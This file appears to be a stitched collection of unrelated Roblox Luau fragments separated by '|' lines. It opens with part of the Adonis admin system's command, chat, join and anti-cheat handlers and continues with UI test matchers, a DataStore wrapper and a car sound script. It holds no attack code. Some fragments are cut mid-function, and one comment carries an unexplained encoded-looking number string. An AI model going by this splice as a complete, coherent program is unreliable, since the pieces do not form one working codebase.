local allowed, denialMessage = false, nil
local isSystem = false
local pDat = {
Player = opts.Player or p;
Level = opts.AdminLevel or Admin.GetLevel(p);
isDonor = opts.IsDonor or (Admin.CheckDonor(p) and (Settings.DonorCommands or command.AllowDonors));
}
if opts.isSystem or p == "SYSTEM" then
isSystem = true
allowed = not command.Disabled
p = p or "SYSTEM"
else
allowed, denialMessage = Admin.CheckPermission(pDat, command, false, opts)
end
if not allowed then
if not (isSystem or opts.NoOutput) and (denialMessage or not Settings.SilentCommandDenials or opts.Check) then
Remote.MakeGui(p, "Output", {
Message = denialMessage or (if Settings.SilentCommandDenials
then string.format("'%s' is either not a valid command, or you do not have permission to run it.", msg)
else string.format("You do not have permission to run '%s'.", msg));
})
end
return
end
local cmdArgs = command.Args or command.Arguments
local argString = string.match(msg, `^.-{Settings.SplitKey}(.+)`) or ""
local args = (opts.Args or opts.Arguments) or (#cmdArgs > 0 and Functions.Split(argString, Settings.SplitKey, #cmdArgs)) or {}
local taskName = string.format("Command :: %s : (%s)", p.Name, msg)
if #args > 0 and not isSystem and command.Filter or opts.Filter then
for i, arg in args do
local cmdArg = cmdArgs[i]
if cmdArg then
if Admin.IsLax(cmdArg) == false then
args[i] = service.LaxFilter(arg, p)
end
else
args[i] = service.LaxFilter(arg, p)
end
end
end
if opts.CrossServer or (not isSystem and not opts.DontLog) then
AddLog("Commands", {
Text = `{((opts.CrossServer and "[CRS_SERVER] ") or "")}{p.Name}`;
Desc = `{matched}{Settings.SplitKey}{table.concat(args, Settings.SplitKey)}`;
Player = p;
})
if Settings.ConfirmCommands then
Functions.Hint(`Executed Command: [ {msg} ]`, {p})
end
end
if noYield then
taskName = `Thread: {taskName}`
end
Admin.UpdateCooldown(pDat, command)
local ran, cmdError = TrackTask(taskName, command.Function, p, args, {
PlayerData = pDat,
Options = opts
})
if not opts.IgnoreErrors then
if type(cmdError) == "string" then
AddLog("Errors", `[{matched}] {cmdError}`)
cmdError = cmdError:match("%d: (.+)$") or cmdError
if not isSystem then
Remote.MakeGui(p, "Output", {
Message = cmdError,
})
end
elseif cmdError ~= nil and cmdError ~= true and not isSystem then
Remote.MakeGui(p, "Output", {
Message = `There was an error but the error was not a string? : {cmdError}`;
})
end
end
service.Events.CommandRan:Fire(p, {
Message = msg,
Matched = matched,
Args = args,
Command = command,
Index = index,
Success = ran,
Error = if type(cmdError) == "string" then cmdError else nil,
Options = opts,
PlayerData = pDat
})
end
end;
CrossServerChat = function(data)
if data then
for _, v in service.GetPlayers() do
if Admin.GetLevel(v) > 0 then
Remote.Send(v, "handler", "ChatHandler", data.Player, data.Message, "Cross")
end
end
end
end;
CustomChat = function(p, a, b, canCross)
local didPassRate, didThrottle, canThrottle, curRate, maxRate = RateLimit(p, "CustomChat")
if didPassRate and not Admin.IsMuted(p) then
if type(a) == "string" then
a = string.sub(a, 1, Process.MsgStringLimit)
end
if b == "Cross" then
if canCross and Admin.CheckAdmin(p) then
Core.CrossServer("ServerChat", {Player = p.Name, Message = a})
--Core.SetData("CrossServerChat",{Player = p.Name, Message = a})
end
else
local target = `{Settings.SpecialPrefix}all`
if not b then
b = 'Global'
end
if not service.Players:FindFirstChild(p.Name) then
b='Nil'
end
if string.sub(a,1,1)=='@' then
b='Private'
target,a=string.match(a,'@(.%S+) (.+)')
Remote.Send(p,'Function','SendToChat',p,a,b)
elseif string.sub(a,1,1)=='#' then
if string.sub(a,1,7)=='#ignore' then
target=string.sub(a,9)
b='Ignore'
end
if string.sub(a,1,9)=='#unignore' then
target=string.sub(a,11)
b='UnIgnore'
end
end
for _, v in service.GetPlayers(p, target, {
DontError = true;
})
do
local a = service.Filter(a, p, v)
if p.Name == v.Name and b ~= "Private" and b ~= "Ignore" and b ~= "UnIgnore" then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Global" then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Team" and p.TeamColor == v.TeamColor then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Local" and p:DistanceFromCharacter(v.Character.Head.Position) < 80 then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Admins" and Admin.CheckAdmin(p) then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Private" and v.Name ~= p.Name then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
elseif b == "Nil" then
Remote.Send(v,"Handler","ChatHandler",p,a,b)
--[[elseif b == 'Ignore' and v.Name ~= p.Name then
Remote.Send(v,'AddToTable','IgnoreList',v.Name)
elseif b == 'UnIgnore' and v.Name ~= p.Name then
Remote.Send(v,'RemoveFromTable','IgnoreList',v.Name)--]]
end
end
end
service.Events.CustomChat:Fire(p,a,b)
elseif not didPassRate and RateLimit(p, "RateLog") then
Anti.Detected(p, "Log", string.format("CustomChatting too quickly (>Rate: %s/sec)", curRate))
warn(string.format("%s is CustomChatting too quickly (>Rate: %s/sec)", p.Name, curRate))
end
end;
Chat = function(p, msg)
local didPassRate, didThrottle, canThrottle, curRate, maxRate = RateLimit(p, "Chat")
if didPassRate then
local isMuted = Admin.IsMuted(p);
if utf8.len(utf8.nfcnormalize(msg)) > Process.MaxChatCharacterLimit and not Admin.CheckAdmin(p) then
Anti.Detected(p, "Kick", "Chatted message over the maximum character limit")
elseif not isMuted then
local msg = string.sub(msg, 1, Process.MsgStringLimit)
local filtered = service.LaxFilter(msg, p)
AddLog(Logs.Chats, {
Text = `{p.Name}: {filtered}`;
Desc = tostring(filtered);
Player = p;
})
if Settings.ChatCommands then
if Admin.DoHideChatCmd(p, msg) then
Remote.Send(p,"Function","ChatMessage",`> {msg}`,Color3.new(1, 1, 1))
Process.Command(p, msg, {Chat = true;})
elseif string.sub(msg, 1, 3) == "/e " then
service.Events.PlayerChatted:Fire(p, msg)
msg = string.sub(msg, 4)
Process.Command(p, msg, {Chat = true;})
elseif string.sub(msg, 1, 8) == "/system " then
service.Events.PlayerChatted:Fire(p, msg)
msg = string.sub(msg, 9)
Process.Command(p, msg, {Chat = true;})
else
service.Events.PlayerChatted:Fire(p, msg)
Process.Command(p, msg, {Chat = true;})
end
else
service.Events.PlayerChatted:Fire(p, msg)
end
elseif isMuted then
local msg = string.sub(msg, 1, Process.MsgStringLimit);
local filtered = service.LaxFilter(msg, p)
AddLog(Logs.Chats, {
Text = `[MUTED] {p.Name}: {filtered}`;
Desc = tostring(filtered);
Player = p;
})
end
elseif not didPassRate and RateLimit(p, "RateLog") then
Anti.Detected(p, "Log", string.format("Chatting too quickly (>Rate: %s/sec)", curRate))
warn(string.format("%s is chatting too quickly (>Rate: %s/sec)", p.Name, curRate))
end
end;
--[==[
WorkspaceChildAdded = function(c)
--[[if c:IsA("Model") then
local p = service.Players:GetPlayerFromCharacter(c)
if p then
service.TrackTask(`{p.Name}: CharacterAdded`, Process.CharacterAdded, p)
end
end
-- Moved to PlayerAdded handler
--]]
end;
LogService = function(Message, Type)
--service.Events.Output:Fire(Message, Type)
end;
ErrorMessage = function(Message, Trace, Script)
--[[if Running then
service.Events.ErrorMessage:Fire(Message, Trace, Script)
if Message:lower():find("adonis") or Message:find(script.Name) then
logError(Message)
end
end--]]
end;
]==]
PlayerAdded = function(p)
AddLog("Script", `Doing PlayerAdded Event for {p.Name}`)
local key = tostring(p.UserId)
local keyData = {
Player = p;
Key = Functions.GetRandom();
Cache = {};
Sent = 0;
Received = 0;
LastUpdate = os.time();
FinishedLoading = false;
LoadingStatus = "WAITING_FOR_KEY";
--Special = Core.MockClientKeys and Core.MockClientKeys.Special;
--Module = Core.MockClientKeys and Core.MockClientKeys.Module;
}
Core.UpdatePlayerConnection(p)
Core.PlayerData[key] = nil
Remote.Clients[key] = keyData
local ran, err = Pcall(function()
Routine(function()
if Anti.UserSpoofCheck(p) then
Remote.Clients[key] = nil;
Anti.Detected(p, "kick", "Username Spoofing");
end
end)
local PlayerData = Core.GetPlayer(p)
local level = Admin.GetLevel(p)
local banned, reason = Admin.CheckBan(p)
if banned then
Remote.Clients[key] = nil;
p:Kick(string.format("%s | Reason: %s", Variables.BanMessage, (reason or "No reason provided")))
return "REMOVED"
end
if Variables.ServerLock and level < 1 then
Remote.Clients[key] = nil;
p:Kick(Variables.LockMessage or "::Adonis::\nServer Locked")
return "REMOVED"
end
if Variables.Whitelist.Enabled then
local listed = false
local CheckTable = Admin.CheckTable
for listName, list in Variables.Whitelist.Lists do
if CheckTable(p, list) then
listed = true
break;
end
end
if not listed and level == 0 then
Remote.Clients[key] = nil;
p:Kick(Variables.LockMessage or "::Adonis::\nWhitelist Enabled")
return "REMOVED"
end
end
end)
if not ran then
AddLog("Errors", `{p.Name} PlayerAdded Failed: {err}`)
warn("~! :: Adonis :: SOMETHING FAILED DURING PLAYERADDED:")
warn(tostring(err))
end
if Remote.Clients[key] then
Core.HookClient(p)
AddLog("Script", {
Text = `{p.Name} loading started`;
Desc = `{p.Name} successfully joined the server`;
})
AddLog("Joins", {
Text = p.Name;
Desc = `{p.Name} joined the server`;
Player = p;
})
--// Get chats
p.Chatted:Connect(function(msg)
local ran, err = TrackTask(`{p.Name}Chatted`, Process.Chat, p, msg)
if not ran then
logError(err);
end
end)
--// Character added
p.CharacterAdded:Connect(function(...)
local ran, err = TrackTask(`{p.Name}CharacterAdded`, Process.CharacterAdded, p, ...)
if not ran then
logError(err);
end
end)
task.delay(600, function()
if p.Parent and Core.PlayerData[key] and Remote.Clients[key] and Remote.Clients[key] == keyData and keyData.LoadingStatus ~= "READY" then
AddLog("Script", {
Text = `{p.Name} Failed to Load`,
Desc = `{keyData.LoadingStatus}: Client failed to load in time (10 minutes?)`,
Player = p;
});
--Anti.Detected(p, "kick", "Client failed to load in time (10 minutes?)");
end
end)
elseif ran and err ~= "REMOVED" then
Anti.RemovePlayer(p, "\n:: Adonis ::\nLoading Error [Missing player, keys, or removed]")
end
end;
PlayerRemoving = function(p)
local data = Core.GetPlayer(p)
local key = tostring(p.UserId)
service.Events.PlayerRemoving:Fire(p)
task.delay(1, function()
if not service.Players:GetPlayerByUserId(p.UserId) then
Core.PlayerData[key] = nil
end
end)
AddLog("Script", {
Text = string.format("Triggered PlayerRemoving for %s", p.Name);
Desc = "Player left the game (PlayerRemoving)";
Player = p;
})
AddLog("Leaves", {
Text = p.Name;
Desc = `{p.Name} left the server`;
Player = p;
})
Core.SavePlayerData(p, data)
Variables.TrackingTable[p.Name] = nil
for otherPlrName, trackTargets in Variables.TrackingTable do
if trackTargets[p] then
trackTargets[p] = nil
local otherPlr = service.Players:FindFirstChild(otherPlrName)
if otherPlr then
task.defer(Remote.RemoveLocal, otherPlr, `{p.Name}Tracker`)
end
end
end
if Commands.UnDisguise then
Commands.UnDisguise.Function(p, {"me"})
end
Variables.IncognitoPlayers[p] = nil
end;
FinishLoading = function(p)
local PlayerData = Core.GetPlayer(p)
local level = Admin.GetLevel(p)
local key = tostring(p.UserId)
--// Fire player added
service.Events.PlayerAdded:Fire(p)
AddLog("Script", {
Text = string.format("%s finished loading", p.Name);
Desc = "Client finished loading";
})
--// Run OnJoin commands
for i,v in Settings.OnJoin do
TrackTask(`Thread: OnJoin_Cmd: {v}`, Admin.RunCommandAsPlayer, v, p)
AddLog("Script", {
Text = `OnJoin: Executed {v}`;
Desc = `Executed OnJoin command; {v}`
})
end
--// Start keybind listener
Remote.Send(p, "Function", "KeyBindListener", PlayerData.Keybinds or {})
--// Load some playerdata stuff
if type(PlayerData.Client) == "table" then
if PlayerData.Client.CapesEnabled == true or PlayerData.Client.CapesEnabled == nil then
Remote.Send(p, "Function", "MoveCapes")
end
Remote.Send(p, "SetVariables", PlayerData.Client)
else
Remote.Send(p, "Function", "MoveCapes")
end
--// Load all particle effects that currently exist
Functions.LoadEffects(p)
--// Load admin or non-admin specific things
if level < 1 then
if Settings.AntiSpeed then
Remote.Send(p, "LaunchAnti", "Speed", {
Speed = tostring(60.5 + math.random(9e8)/9e8)
})
end
if Settings.Detection then
Remote.Send(p, "LaunchAnti", "MainDetection")
Remote.Send(p, "LaunchAnti", "AntiAntiIdle", {
Enabled = (Settings.AntiAntiIdle ~= false or Settings.AntiClientIdle ~= false)
})
if Settings.ExploitGuiDetection then
Remote.Send(p, "LaunchAnti", "AntiCoreGui")
end
end
if Settings.AntiBuildingTools then
Remote.Send(p, "LaunchAnti", "AntiTools", {BTools = true})
end
end
--// Finish things up
if Remote.Clients[key] then
Remote.Clients[key].FinishedLoading = true
if p.Character and p.Character.Parent == workspace then
--service.Threads.TimeoutRunTask(`{p.Name};CharacterAdded`,Process.CharacterAdded,60,p)
local ran, err = TrackTask(`{p.Name} CharacterAdded`, Process.CharacterAdded, p, p.Character, {FinishedLoading = true})
if not ran then
logError(err)
end
else
--// probably could make this RefreshGui instead of MakeGui down the road
if Settings.Console and (not Settings.Console_AdminsOnly or level > 0) then
Remote.MakeGui(p, "Console")
end
if Settings.HelpButton then
Remote.MakeGui(p, "HelpButton")
end
end
if Settings.Console and (not Settings.Console_AdminsOnly or level > 0) then
Remote.MakeGui(p, "Console")
end
if Settings.HelpButton then
Remote.MakeGui(p, "HelpButton")
end
if level > 0 then
local oldVer = (level > 300) and Core.GetData("VersionNumber")
local newVer = (level > 300) and tonumber(string.match(server.Changelog[1], "Version: (.*)"))
if Settings.Notification then
Remote.MakeGui(p, "Notification", {
Title = "Welcome.";
Message = "Click here for commands.";
Icon = server.MatIcons["Verified user"];
Time = 15;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
task.wait(1)
if oldVer and newVer and newVer > oldVer then
Remote.MakeGui(p, "Notification", {
Title = "Updated!";
Message = "Click to view the changelog.";
Icon = server.MatIcons.Description;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}changelog')`);
})
end
task.wait(1)
if level > 300 and Settings.DataStoreKey == Defaults.Settings.DataStoreKey then
Remote.MakeGui(p, "Notification", {
Title = "Warning!";
Message = "Using default datastore key!";
Icon = server.MatIcons.Description;
Time = 10;
OnClick = Core.Bytecode([[
local window = client.UI.Make("Window", {
Title = "How to change the DataStore key";
Size = {700,300};
Icon = "rbxassetid://7510994359";
})
window:Add("ImageLabel", {
Image = "rbxassetid://1059543904";
})
window:Ready()
]]);
})
end
end
if newVer then
Core.SetData("VersionNumber", newVer)
end
end
--// REF_1_ALBRT - 57s_Dxl - 100392_659;
--// COMP[[CHAR+OFFSET] < INT[0]]
--// EXEC[[BYTE[N]+BYTE[x]] + ABS[CHAR+OFFSET]]
--// ELSE[[BYTE[A]+BYTE[x]] + ABS[CHAR+OFFSET]]
--// VALU -> c_BYTE ; CAT[STR,x,c_BYTE] -> STR ; OUT[STR]]]
--// [-150x261x247x316x246x243x238x248x302x316x261x247x316x246x234x247x247x302]
--// END_ReF - 100392_659
for v: Player in Variables.IncognitoPlayers do
--// Check if the Player still exists before doing incognito to prevent LoadCode spam.
if v == p or v.Parent == service.Players then
continue
end
Remote.LoadCode(p, [[
local plr = service.Players:GetPlayerByUserId(]] .. v.UserId .. [[)
if plr then
if not table.find(service.IncognitoPlayers, plr) then
table.insert(service.IncognitoPlayers, plr)
end
plr:Remove()
end
]])
end
end
end;
CharacterAdded = function(p, char, ...)
local key = tostring(p.UserId)
local keyData = Remote.Clients[key]
local args = {...}
if keyData then
keyData.PlayerLoaded = true
end
task.wait(1 / 60)
if char and keyData and keyData.FinishedLoading then
local level = Admin.GetLevel(p)
--// Wait for UI stuff to finish
task.wait(1)
if not p:FindFirstChildWhichIsA("PlayerGui") then
p:WaitForChild("PlayerGui", 9e9)
end
Remote.Get(p,"UIKeepAlive")
--// GUI loading
if Variables.NotifMessage then
Remote.MakeGui(p, "Notif", {
Message = Variables.NotifMessage
})
end
if Settings.TopBarShift then
Remote.Send(p, "SetVariables", { TopBarShift = true })
end
if
(not args[1] or
(args[1] and typeof(args[1]) == 'table' and args[1].FinishedLoading == nil))
and
(Settings.Console and (not Settings.Console_AdminsOnly or level > 0)) then
Remote.RefreshGui(p, "Console")
end
--if Settings.CustomChat then
-- MakeGui(p, "Chat")
--end
--if Settings.PlayerList then
-- MakeGui(p, "PlayerList")
--end
if level < 1 then
if Settings.AntiNoclip then
Remote.Send(p, "LaunchAnti", "HumanoidState")
end
end
--// Check muted
--[=[for ind,admin in Settings.Muted do
if Admin.DoCheck(p, admin) then
Remote.LoadCode(p, [[service.StarterGui:SetCoreGuiEnabled("Chat",false) client.Variables.ChatEnabled = false client.Variables.Muted = true]])
end
end--]=]
task.spawn(Functions.Donor, p)
--// Fire added event
service.Events.CharacterAdded:Fire(p, char, ...)
--// Run OnSpawn commands
for _, v in Settings.OnSpawn do
TrackTask(`Thread: OnSpawn_Cmd: {v}`, Admin.RunCommandAsPlayer, v, p)
AddLog("Script", {
Text = `OnSpawn: Executed {v}`;
Desc = `Executed OnSpawn command; {v}`;
})
end
if
server.Commands.Track
and char:WaitForChild("Head", 5)
and char:WaitForChild("HumanoidRootPart", 2)
then
for otherPlrName, trackTargets in Variables.TrackingTable do
if trackTargets[p] then
server.Commands.Track.Function(service.Players[otherPlrName], {`@{p.Name}`, "true"})
end
end
end
end
end;
NetworkAdded = function(cli)
task.wait(0.25)
local p = cli:GetPlayer()
if p then
Core.Connections[cli] = p
AddLog("Script", {
Text = `{p.Name} connected`;
Desc = `{p.Name} successfully established a connection with the server`;
Player = p;
})
else
AddLog("Script", {
Text = "<UNKNOWN> connected";
Desc = "An unknown user successfully established a connection with the server";
})
end
service.Events.NetworkAdded:Fire(cli)
end;
NetworkRemoved = function(cli)
local p = cli:GetPlayer() or Core.Connections[cli]
Core.Connections[cli] = nil
if p then
Anti.KickedPlayers[p] = nil
AddLog("Script", {
Text = `{p.Name} disconnected`;
Desc = `{p.Name} disconnected from the server`;
Player = p;
})
else
AddLog("Script", {
Text = "<UNKNOWN> disconnected";
Desc = "An unknown user disconnected from the server";
})
end
service.Events.NetworkRemoved:Fire(cli)
end;
--[[
PlayerTeleported = function(p,data)
end;
]]
};
end
|
--[=[
Used to test that the given GuiObject or Rect is left, center, or right
aligned with the other GuiObject or Rect.
This can be especially useful to determine if a given pair of elements are
under the influence of the same `UIListLayout`.
```lua
expect(a).toBeAlignedHorizontally(b, Enum.HorizontalAlignment.Left) -- Jest
expect(a).to.be.alignedHorizontally(b, Enum.HorizontalAlignment.Left) -- TestEZ
```
.png)
```lua
expect(a).toBeAlignedHorizontally(b, Enum.HorizontalAlignment.Right) -- Jest
expect(a).to.be.alignedHorizontally(b, Enum.HorizontalAlignment.Right) -- TestEZ
```
.png)
@tag alignment
@within CollisionMatchers2D
]=]
|
local function alignedHorizontally(
a: GuiObject | Rect,
b: GuiObject | Rect,
horizontalAlignment: Enum.HorizontalAlignment
)
local aRect = toRect(a)
local bRect = toRect(b)
if horizontalAlignment == Enum.HorizontalAlignment.Left then
return returnValue(aRect.Min.X == bRect.Min.X, "", "")
elseif horizontalAlignment == Enum.HorizontalAlignment.Center then
local aMiddle = (aRect.Min + aRect.Max) / 2
local bMiddle = (bRect.Min + bRect.Max) / 2
return returnValue(aMiddle.X == bMiddle.X, "", "")
elseif horizontalAlignment == Enum.HorizontalAlignment.Right then
return returnValue(aRect.Max.X == bRect.Max.X, "", "")
end
return returnValue(false, "Invalid horizontal alignment!")
end
return alignedHorizontally
|
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
rs.RenderStepped:connect(function ()
if active then
if waveScale < 0.5 then
waveScale = math.min(0.5,waveScale+scaleIncrement)
end
else
if waveScale > 0 then
waveScale = math.max(0,waveScale-scaleIncrement)
end
end
local abs,cos = math.abs,math.cos
local camY = c.CoordinateFrame.lookVector.Y
for joint,def in pairs(RIG) do
joint.C0 = def.C0 * CFrame.Angles(def.Factor.X*camY,def.Factor.Y*camY,def.Factor.Z*camY)
joint.C1 = def.C1
end
rootJ.C0 = rootJ.C0 * CFrame.new(0,camY,0) -- Painful fix, but the player glides forward and backwards a bit when looking up and down without this.
local headOffset = CFrame.new()
if (c.Focus.p-c.CoordinateFrame.p).magnitude < 1 then
if script.Parent.Parent.PlayerGui.GUI.Asset.Jar.Stamina.Spectation.Running.Value == false then
c.FieldOfView = 100
end
local dist = head.CFrame:toObjectSpace(torso.CFrame).p.magnitude
headOffset = root.CFrame:toObjectSpace(head.CFrame) - Vector3.new(0,dist - ((1+camY)/8),0.25)
else
if script.Parent.Parent.PlayerGui.GUI.Asset.Jar.Stamina.Spectation.Running.Value == false then
c.FieldOfView = 80
end
end
local t = cos(tick() * (math.pi*2.5))
local bobble = CFrame.new((t/3)*waveScale,abs(t/5)*waveScale,0) -- Makes the view move side to side. The wave scale is tweened between 0 and 1 depending on if the player is walking or not.
humanoid.CameraOffset = (headOffset * bobble).p
end)
|
-- Disable merchbooth by default. PreShowVenue will enable it manually if it wants.
|
if MerchBooth.isMerchBoothEnabled() then
MerchBooth.setEnabled(false)
end
|
-- Get references to the DockShelf and its children
|
local dockShelf = script.Parent.Parent.DockShelf
local aFinderButton = dockShelf.AFinder
local window = script.Parent.Parent.WindowManager.Finder
|
--[=[
Returns whether the value is a serviceBag
@param value ServiceBag?
@return boolean
]=]
|
function ServiceBag.isServiceBag(value)
return type(value) == "table"
and value.ClassName == "ServiceBag"
end
|
--[[
Calls a function and throws an error if it attempts to yield.
Pass any number of arguments to the function after the callback.
This function supports multiple return; all results returned from the
given function will be returned.
]]
|
local function resultHandler(co, ok, ...)
if not ok then
local message = (...)
error(debug.traceback(co, message), 2)
end
if coroutine.status(co) ~= "dead" then
error(debug.traceback(co, "Attempted to yield inside changed event!"), 2)
end
return ...
end
local function NoYield(callback, ...)
local co = coroutine.create(callback)
return resultHandler(co, coroutine.resume(co, ...))
end
return NoYield
|
--Services
|
local ServerScriptService = game:GetService("ServerScriptService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
|
--[=[
Takes in an observable of brios and returns an observable of the inner values that will also output
nil if there is no other value for the brio.
@param emitOnDeathValue U
@return (source: Observable<Brio<T> | T>) -> Observable<T | U>
]=]
|
function RxBrioUtils.emitOnDeath(emitOnDeathValue)
return Rx.switchMap(function(brio)
return RxBrioUtils.toEmitOnDeathObservable(brio, emitOnDeathValue)
end);
end
|
-- LOCAL
|
local starterGui = game:GetService("StarterGui")
local guiService = game:GetService("GuiService")
local hapticService = game:GetService("HapticService")
local runService = game:GetService("RunService")
local userInputService = game:GetService("UserInputService")
local tweenService = game:GetService("TweenService")
local players = game:GetService("Players")
local VRService = game:GetService("VRService")
local voiceChatService = game:GetService("VoiceChatService")
local iconModule = script.Parent
local TopbarPlusReference = require(iconModule.TopbarPlusReference)
local referenceObject = TopbarPlusReference.getObject()
local leadPackage = referenceObject and referenceObject.Value
if leadPackage and leadPackage.IconController ~= script then
return require(leadPackage.IconController)
end
if not referenceObject then
TopbarPlusReference.addToReplicatedStorage()
end
local IconController = {}
local Signal = require(iconModule.Signal)
local TopbarPlusGui = require(iconModule.TopbarPlusGui)
local topbarIcons = {}
local forceTopbarDisabled = false
local menuOpen
local topbarUpdating = false
local cameraConnection
local controllerMenuOverride
local isStudio = runService:IsStudio()
local localPlayer = players.LocalPlayer
local voiceChatIsEnabledForUserAndWithinExperience = false
local disableControllerOption = false
local STUPID_CONTROLLER_OFFSET = 32
|
--[=[
Constructs a new CancelToken
@param executor (cancel: () -> ()) -> ()
@return CancelToken
]=]
|
function CancelToken.new(executor)
local self = setmetatable({}, CancelToken)
assert(type(executor) == "function", "Bad executor")
self.PromiseCancelled = Promise.new()
self.Cancelled = Signal.new()
self.PromiseCancelled:Then(function()
self.Cancelled:Fire()
self.Cancelled:Destroy()
end)
executor(function()
self:_cancel()
end)
return self
end
|
---------------------------------------
|
local spd=script.Speed:Clone()
spd.Parent = model.Part2
spd.Value = 0.07
local die=script.Died:Clone()
die.Parent = model.Part2
die.Disabled = false
local scr=script.MovedBlock:Clone()
scr.Parent = model.Part2
scr.Disabled = false
|
-- Standard saving of data stores
-- The key you provide to DataStore2 is the name of the store with GetDataStore
-- GetAsync/UpdateAsync are then called based on the user ID
|
local DataStoreServiceRetriever = require(script.Parent.Parent.DataStoreServiceRetriever)
local Promise = require(script.Parent.Parent.Promise)
local Standard = {}
Standard.__index = Standard
function Standard:Get()
return Promise.async(function(resolve)
resolve(self.dataStore:GetAsync(self.userId))
end)
end
function Standard:Set(value)
return Promise.async(function(resolve)
self.dataStore:UpdateAsync(self.userId, function()
return value
end)
resolve()
end)
end
function Standard.new(dataStore2)
return setmetatable({
dataStore = DataStoreServiceRetriever.Get():GetDataStore(dataStore2.Name),
userId = dataStore2.UserId,
}, Standard)
end
return Standard
|
-- End of Editable Values
|
local car = script.Parent.Car.Value
local values = script.Parent.Values
local tune = require(car["A-Chassis Tune"])
local event = car:WaitForChild('Sounds')
local newsounds={}
local info={}
local rpm=values.RPM
local throt=values.Throttle
local redl=tune.Redline
local bounce=tune.RevBounce+100
local vmult=1-ThrottleVolMult
local pmult=1-ThrottlePitchMult
local function create(car,t)
for k=0,4 do
local ns=Instance.new('Sound')
if k==1 then
ns.Name='Exhaust'
ns.Parent=car.Body.Exhaust
ns.SoundId='rbxassetid://'..t[1]
ns.Volume=0
ns.RollOffMaxDistance=t[2]
ns.RollOffMinDistance=t[3]
local e1=Instance.new('EqualizerSoundEffect',ns)
e1.Name='E1'
e1.HighGain=t[13][1]
e1.MidGain=t[13][2]
e1.LowGain=t[13][3]
local e2=Instance.new('DistortionSoundEffect',ns)
e2.Name='E2'
local e3=Instance.new('EqualizerSoundEffect',ns)
e3.Name='E3'
e3.MidGain=0
elseif k==2 then
ns.Name='Engine'
ns.Parent=car.Body.Engine
ns.SoundId='rbxassetid://'..t[4]
ns.Volume=0
ns.RollOffMaxDistance=t[5]
ns.RollOffMinDistance=t[6]
local e1=Instance.new('EqualizerSoundEffect',ns)
e1.Name='E1'
e1.HighGain=t[14][1]
e1.MidGain=t[14][2]
e1.LowGain=t[14][3]
local e2=Instance.new('DistortionSoundEffect',ns)
e2.Name='E2'
local e3=Instance.new('EqualizerSoundEffect',ns)
e3.Name='E3'
e3.MidGain=0
elseif k==3 then
ns.Name='Idle'
ns.Parent=car.Body.Exhaust
ns.SoundId='rbxassetid://'..t[7]
ns.Volume=0
ns.RollOffMaxDistance=t[8]
ns.RollOffMinDistance=t[9]
elseif k==4 then
ns.Name='Redline'
ns.Parent=car.Body.Engine
ns.SoundId='rbxassetid://'..t[10]
ns.Volume=0
ns.RollOffMaxDistance=t[11]
ns.RollOffMinDistance=t[12]
end
ns.Looped=true
table.insert(newsounds,k,ns)
end
end
local function update(sounds,info)
if newsounds[1].Volume~=info[1] then
newsounds[1].Volume=info[1]
newsounds[1].Pitch=info[2]
newsounds[2].Volume=info[3]
newsounds[2].Pitch=info[4]
newsounds[3].Volume=info[5]
newsounds[4].Volume=info[6]
newsounds[1].E2.Level=info[7]
newsounds[1].E3.HighGain=info[9][1]
newsounds[1].E3.MidGain=info[9][2]
newsounds[1].E3.LowGain=info[9][3]
newsounds[2].E2.Level=info[8]
newsounds[2].E3.HighGain=info[10][1]
newsounds[2].E3.MidGain=info[10][2]
newsounds[2].E3.LowGain=info[10][3]
end
end
local function stop()
for _,s in pairs(newsounds) do s:Stop() end
end
local function play()
for _,s in pairs(newsounds) do s:Play() end
end
local function rpmupdate(x)
local throtv=throt.Value
local rpmscale=(x/redl)
info[1]=((x^ExhaustVolMult)/redl)*((throtv*ThrottleVolMult)+vmult)*ExhaustVol -- Exhaust Volume
info[2]=math.max(ExhaustPitch + ExhaustRev *rpmscale*((throtv*ThrottlePitchMult)+pmult),ExhaustPitch) -- Exhaust Pitch
info[3]=((x^EngineVolMult)/redl)*((throtv*ThrottleVolMult)+vmult)*EngineVol -- Engine Volume
info[4]=math.max(EnginePitch + EngineRev *rpmscale*((throtv*ThrottlePitchMult)+pmult),EnginePitch) -- Engine Pitch
info[5]=IdleVol+(x/(-tune.IdleRPM-IdleRPMScale)) -- Idle Volume
info[6]=(((x+bounce)-redl)/redl)*throtv*RedlineVol*100 -- Redline Volume
info[7]=throtv*(ExhaustDistortion+(ExhaustRevDistortion*rpmscale)) -- Exhaust Distortion
info[8]=throtv*(EngineDistortion+(EngineRevDistortion*rpmscale)) -- Engine Distortion
info[9]={ExhaustDecelEqualizer[1]*(1-throtv),ExhaustDecelEqualizer[2]*(1-throtv),ExhaustDecelEqualizer[3]*(1-throtv)} -- Exhaust Decel Equalizer
info[10]={EngineDecelEqualizer[1]*(1-throtv),EngineDecelEqualizer[2]*(1-throtv),EngineDecelEqualizer[3]*(1-throtv)} -- Engine Decel Equalizer
if FE==true then
event:FireServer(car,'update',nil,info)
else
update(newsounds,info)
end
end
createinfo = {
ExhaustId,
ExhaustRollOffMax,
ExhaustRollOffMin,
EngineId,
EngineRollOffMax,
EngineRollOffMin,
IdleId,
IdleRollOffMax,
IdleRollOffMin,
RedlineId,
RedlineRollOffMax,
RedlineRollOffMin,
ExhaustEqualizer,
EngineEqualizer,
}
if FE==true then
event:FireServer(car,'create',createinfo)
else
create(car,createinfo)
end
if FE==true then
if values.Parent.IsOn.Value==true then
event:FireServer(car,'play')
else event:FireServer(car,'stop')
end
else
if values.Parent.IsOn.Value==true then
play() else stop()
end
end
values.Parent.IsOn.Changed:Connect(function(v)
if FE==true then
if v==false then event:FireServer(car,'stop')
else event:FireServer(car,'play') end
else
if v==true then
play() else stop()
end
end
end)
rpm.Changed:Connect(rpmupdate)
|
-- ScriptConnection object:
|
local ScriptConnection = {
--[[
_listener = listener,
_script_signal = script_signal,
_disconnect_listener = disconnect_listener,
_disconnect_param = disconnect_param,
_next = next_script_connection,
_is_connected = is_connected,
--]]
}
